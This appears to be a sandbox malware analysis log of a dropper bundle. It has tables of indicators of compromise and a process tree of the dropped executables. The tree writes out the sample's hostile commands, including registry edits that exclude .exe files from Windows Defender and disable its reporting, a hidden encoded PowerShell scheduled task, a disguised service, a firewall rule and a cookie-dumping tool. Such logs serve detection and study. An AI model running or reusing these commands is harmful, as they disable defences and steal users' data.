Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	jobiea_3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4688	jobiea_2.exe
4688	jobiea_2.exe
4320	jfiag3g_gg.exe
4320	jfiag3g_gg.exe
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2060	Process not Found

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4688	jobiea_2.exe
2072	Lxjwaytgkwrfchptbandzip.exe
1624	rvfjvuu
2328	iwfjvuu

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	jobiea_5.exe
Token: SeDebugPrivilege	4828	jobiea_8.exe
Token: SeDebugPrivilege	3856	jobiea_7.exe
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeDebugPrivilege	1484	FNVMO9p508RYb3s8DjzFVCxj.exe
Token: SeDebugPrivilege	3556	tvxuvr2GSyJNe8El3APETynA.exe
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found
Token: SeCreatePagefilePrivilege	2060	Process not Found
Token: SeShutdownPrivilege	2060	Process not Found

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
868	Accostarmi.exe.pif
2060	Process not Found
2060	Process not Found
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found
2060	Process not Found

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif
868	Accostarmi.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 5092	2700	f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe	79
PID 2700 wrote to memory of 5092	2700	f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe	79
PID 2700 wrote to memory of 5092	2700	f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe	79
PID 5092 wrote to memory of 5028	5092	setup_install.exe	91
PID 5092 wrote to memory of 5028	5092	setup_install.exe	91
PID 5092 wrote to memory of 5028	5092	setup_install.exe	91
PID 5092 wrote to memory of 4588	5092	setup_install.exe	90
PID 5092 wrote to memory of 4588	5092	setup_install.exe	90
PID 5092 wrote to memory of 4588	5092	setup_install.exe	90
PID 5092 wrote to memory of 4452	5092	setup_install.exe	89
PID 5092 wrote to memory of 4452	5092	setup_install.exe	89
PID 5092 wrote to memory of 4452	5092	setup_install.exe	89
PID 5092 wrote to memory of 4872	5092	setup_install.exe	88
PID 5092 wrote to memory of 4872	5092	setup_install.exe	88
PID 5092 wrote to memory of 4872	5092	setup_install.exe	88
PID 5092 wrote to memory of 4800	5092	setup_install.exe	87
PID 5092 wrote to memory of 4800	5092	setup_install.exe	87
PID 5092 wrote to memory of 4800	5092	setup_install.exe	87
PID 5092 wrote to memory of 4240	5092	setup_install.exe	86
PID 5092 wrote to memory of 4240	5092	setup_install.exe	86
PID 5092 wrote to memory of 4240	5092	setup_install.exe	86
PID 5092 wrote to memory of 4848	5092	setup_install.exe	82
PID 5092 wrote to memory of 4848	5092	setup_install.exe	82
PID 5092 wrote to memory of 4848	5092	setup_install.exe	82
PID 5092 wrote to memory of 1424	5092	setup_install.exe	85
PID 5092 wrote to memory of 1424	5092	setup_install.exe	85
PID 5092 wrote to memory of 1424	5092	setup_install.exe	85
PID 5028 wrote to memory of 4392	5028	cmd.exe	84
PID 5028 wrote to memory of 4392	5028	cmd.exe	84
PID 5028 wrote to memory of 4392	5028	cmd.exe	84
PID 4240 wrote to memory of 2812	4240	cmd.exe	83
PID 4240 wrote to memory of 2812	4240	cmd.exe	83
PID 4240 wrote to memory of 2812	4240	cmd.exe	83
PID 4872 wrote to memory of 4836	4872	cmd.exe	97
PID 4872 wrote to memory of 4836	4872	cmd.exe	97
PID 4872 wrote to memory of 4836	4872	cmd.exe	97
PID 1424 wrote to memory of 4828	1424	cmd.exe	92
PID 1424 wrote to memory of 4828	1424	cmd.exe	92
PID 1424 wrote to memory of 4828	1424	cmd.exe	92
PID 4848 wrote to memory of 4860	4848	cmd.exe	94
PID 4848 wrote to memory of 4860	4848	cmd.exe	94
PID 4848 wrote to memory of 4860	4848	cmd.exe	94
PID 4800 wrote to memory of 4888	4800	cmd.exe	93
PID 4800 wrote to memory of 4888	4800	cmd.exe	93
PID 4588 wrote to memory of 4688	4588	cmd.exe	96
PID 4588 wrote to memory of 4688	4588	cmd.exe	96
PID 4588 wrote to memory of 4688	4588	cmd.exe	96
PID 4452 wrote to memory of 4372	4452	cmd.exe	95
PID 4452 wrote to memory of 4372	4452	cmd.exe	95
PID 4452 wrote to memory of 4372	4452	cmd.exe	95
PID 4836 wrote to memory of 1908	4836	jobiea_4.exe	98
PID 4836 wrote to memory of 1908	4836	jobiea_4.exe	98
PID 4836 wrote to memory of 1908	4836	jobiea_4.exe	98
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4372 wrote to memory of 3492	4372	jobiea_3.exe	100
PID 4372 wrote to memory of 3492	4372	jobiea_3.exe	100
PID 4372 wrote to memory of 3492	4372	jobiea_3.exe	100
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99
PID 4860 wrote to memory of 3856	4860	jobiea_7.exe	99

C:\Users\Admin\AppData\Local\Temp\f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe
"C:\Users\Admin\AppData\Local\Temp\f278959980ff3dccad6aad448f4dca4034f2832fe85269c0d11b504c270da215.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_7.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_7.exe
      jobiea_7.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4860
    - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_7.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_8.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1424
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_8.exe
      jobiea_8.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_6.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_5.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_5.exe
      jobiea_5.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_4.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_4.exe
      jobiea_4.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        
        PID:1908
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_3.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_3.exe
      jobiea_3.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4372
    - - C:\Windows\SysWOW64\rUNdlL32.eXe
        
        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
        5⤵
        Loads dropped DLL
        
        PID:3492
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3492 -s 600
        6⤵
        Program crash
        
        PID:4932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_2.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_2.exe
      jobiea_2.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c jobiea_1.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5028

C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_6.exe
jobiea_6.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:2812
- C:\Users\Admin\Documents\0TGxUtBSwqLC7rZcb00lo8XI.exe
  "C:\Users\Admin\Documents\0TGxUtBSwqLC7rZcb00lo8XI.exe"
  2⤵
  PID:3372
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Loads dropped DLL
    - Checks processor information in registry
    PID:5052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit
      4⤵
      PID:4364
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1252
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:2332
- C:\Users\Admin\Documents\gJpg6f8V2imTo9Dwp2fO9iiv.exe
  "C:\Users\Admin\Documents\gJpg6f8V2imTo9Dwp2fO9iiv.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:4776
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 624
    3⤵
    - Program crash
    PID:3444
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 780
    3⤵
    - Program crash
    PID:2764
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 832
    3⤵
    - Program crash
    PID:4544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1316
    3⤵
    - Program crash
    PID:2924
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1324
    3⤵
    - Program crash
    PID:2076
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1344
    3⤵
    - Program crash
    PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "gJpg6f8V2imTo9Dwp2fO9iiv.exe" /f & erase "C:\Users\Admin\Documents\gJpg6f8V2imTo9Dwp2fO9iiv.exe" & exit
    3⤵
    PID:4064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "gJpg6f8V2imTo9Dwp2fO9iiv.exe" /f
      4⤵
      Kills process with taskkill
      PID:5068
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1316
    3⤵
    - Program crash
    PID:4576
- C:\Users\Admin\Documents\uIyoiVNWilQvd0wLaJ6xqRKV.exe
  "C:\Users\Admin\Documents\uIyoiVNWilQvd0wLaJ6xqRKV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2016
- - C:\Users\Admin\Documents\uIyoiVNWilQvd0wLaJ6xqRKV.exe
    "C:\Users\Admin\Documents\uIyoiVNWilQvd0wLaJ6xqRKV.exe"
    3⤵
    - Executes dropped EXE
    PID:4176
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4176 -s 536
      4⤵
      Program crash
      PID:1988
- C:\Users\Admin\Documents\lFe_U_GnhPHVcA2bJGrNZgBl.exe
  "C:\Users\Admin\Documents\lFe_U_GnhPHVcA2bJGrNZgBl.exe"
  2⤵
  - Executes dropped EXE
  PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\lFe_U_GnhPHVcA2bJGrNZgBl.exe
    3⤵
    PID:3852
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 0
      4⤵
      PID:4860
- C:\Users\Admin\Documents\Ewjm7_RZkGdpLwpTydyqBUmM.exe
  "C:\Users\Admin\Documents\Ewjm7_RZkGdpLwpTydyqBUmM.exe"
  2⤵
  - Executes dropped EXE
  PID:4072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 444
    3⤵
    - Program crash
    PID:4064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 452
    3⤵
    - Program crash
    PID:3104
- C:\Users\Admin\Documents\6IvCvrJwZkeqy88yiA7ThE5o.exe
  "C:\Users\Admin\Documents\6IvCvrJwZkeqy88yiA7ThE5o.exe"
  2⤵
  - Executes dropped EXE
  PID:2776
- - C:\Users\Admin\AppData\Local\Temp\7zSC14A.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    PID:860
  - - C:\Users\Admin\AppData\Local\Temp\7zSD6D5.tmp\Install.exe
      .\Install.exe /S /site_id "525403"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks computer location settings
      Drops file in System32 directory
      Enumerates system info in registry
      PID:1608
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:3848
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:2404
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:1704
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:2732
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:1252
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:1176
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        Executes dropped EXE
        
        PID:4960
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:1592
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gRtainjFC" /SC once /ST 00:25:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:3576
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gRtainjFC"
        5⤵
        
        PID:3104
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gRtainjFC"
        5⤵
        
        PID:1400
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 01:00:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lOzOcng.exe\" j6 /site_id 525403 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:3960
- C:\Users\Admin\Documents\eVwiTP1vQN0NYlGX80J3lc4V.exe
  "C:\Users\Admin\Documents\eVwiTP1vQN0NYlGX80J3lc4V.exe"
  2⤵
  PID:4044
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4788
- C:\Users\Admin\Documents\owX0G5_GUDWPa_fzwkIm0e4W.exe
  "C:\Users\Admin\Documents\owX0G5_GUDWPa_fzwkIm0e4W.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\dada.exe
    "C:\Users\Admin\AppData\Local\Temp\dada.exe"
    3⤵
    - Executes dropped EXE
    PID:64
- - C:\Users\Admin\AppData\Local\Temp\build.exe
    "C:\Users\Admin\AppData\Local\Temp\build.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    PID:4820
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
      4⤵
      Creates scheduled task(s)
      PID:4848
- C:\Users\Admin\Documents\yMDamSKSiouG79_U94ch4vmJ.exe
  "C:\Users\Admin\Documents\yMDamSKSiouG79_U94ch4vmJ.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:4460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xqpksxp\
    3⤵
    PID:4116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ulmoqhwp.exe" C:\Windows\SysWOW64\xqpksxp\
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" create xqpksxp binPath= "C:\Windows\SysWOW64\xqpksxp\ulmoqhwp.exe /d\"C:\Users\Admin\Documents\yMDamSKSiouG79_U94ch4vmJ.exe\"" type= own start= auto DisplayName= "wifi support"
    3⤵
    PID:4020
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Executes dropped EXE
      PID:1280
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" description xqpksxp "wifi internet conection"
    3⤵
    PID:4292
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" start xqpksxp
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
    3⤵
    PID:1472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4460 -s 596
    3⤵
    - Program crash
    PID:4988
- C:\Users\Admin\Documents\yy5DSxunUCiM39AIRgpkpZVv.exe
  "C:\Users\Admin\Documents\yy5DSxunUCiM39AIRgpkpZVv.exe"
  2⤵
  PID:4960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 900
    3⤵
    - Program crash
    PID:4148
- C:\Users\Admin\Documents\FiKGQO1tnaLU94sIdrV3AYbm.exe
  "C:\Users\Admin\Documents\FiKGQO1tnaLU94sIdrV3AYbm.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  PID:3120
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    3⤵
    - Blocklisted process makes network request
    PID:116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 760
    3⤵
    - Program crash
    PID:1476
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 964
    3⤵
    - Program crash
    PID:4240
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 896
    3⤵
    - Program crash
    PID:4824
- C:\Users\Admin\Documents\_2GWQ18h_NVs1ytXbqkt57p7.exe
  "C:\Users\Admin\Documents\_2GWQ18h_NVs1ytXbqkt57p7.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  PID:3212
- - C:\Users\Admin\AppData\Local\Temp\Lxjwaytgkwrfchptbandzip.exe
    "C:\Users\Admin\AppData\Local\Temp\Lxjwaytgkwrfchptbandzip.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2072
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    PID:2732
- C:\Users\Admin\Documents\BwD5IiF88kN_0XJnh1lMy5T2.exe
  "C:\Users\Admin\Documents\BwD5IiF88kN_0XJnh1lMy5T2.exe"
  2⤵
  - Executes dropped EXE
  PID:4300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 460
    3⤵
    - Program crash
    PID:4148
- C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe
  "C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1516
- C:\Users\Admin\Documents\Z1IXggme3vXbPULFTvnbDOMc.exe
  "C:\Users\Admin\Documents\Z1IXggme3vXbPULFTvnbDOMc.exe"
  2⤵
  - Executes dropped EXE
  PID:3912
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 452
    3⤵
    - Program crash
    PID:1792
- C:\Users\Admin\Documents\ilJcChbIYQsMi5m9zVwraY8F.exe
